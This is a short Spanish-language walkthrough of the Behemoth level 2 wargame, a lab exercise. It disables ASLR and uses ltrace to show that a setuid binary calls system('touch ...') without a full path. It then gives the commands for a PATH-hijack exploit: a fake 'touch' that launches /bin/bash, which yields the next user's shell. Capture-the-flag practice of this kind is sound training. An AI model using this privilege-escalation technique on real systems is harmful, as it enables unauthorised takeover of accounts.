Behemoth2
Recordamos deshabilitar ASLR con:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Analizando
behemoth2@behemoth:/behemoth$ ltrace ./behemoth2
__libc_start_main(0x804856b, 1, 0xffffd774, 0x8048660 <unfinished ...>
getpid() = 18657
sprintf("touch 18657", "touch %d", 18657) = 11
__lxstat(3, "18657", 0xffffd640) = -1
unlink("18657") = -1
geteuid() = 13002
geteuid() = 13002
setreuid(13002, 13002) = 0
system("touch 18657"touch: cannot touch '18657': Permission denied
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 256
sleep(2000^C <no return ...>
--- SIGINT (Interrupt) ---
+++ killed by SIGINT +++
- Analizando el binario con 'ltrace' podemos ver que hace una llamada a la función system con el comando touch.
- Podemos crear un script llamado touch y añadir nuestro comando al PATH para que cuando usemos el binario ejecute nuestro script en lugar el comando touch original.
Explotando
behemoth2@behemoth:/behemoth$ mkdir /tmp/x4v1l0k_files
behemoth2@behemoth:/behemoth$ cd /behemoth/^C
behemoth2@behemoth:/behemoth$ echo "/bin/bash" > /tmp/x4v1l0k_files/touch
behemoth2@behemoth:/behemoth$ chmod +x /tmp/x4v1l0k_files/touch
behemoth2@behemoth:/behemoth$ export PATH="/tmp/x4v1l0k_files:$PATH"
behemoth2@behemoth:/behemoth$ ./behemoth2
behemoth3@behemoth:/behemoth$ id
uid=13003(behemoth3) gid=13002(behemoth2) groups=13002(behemoth2)
behemoth3@behemoth:/behemoth$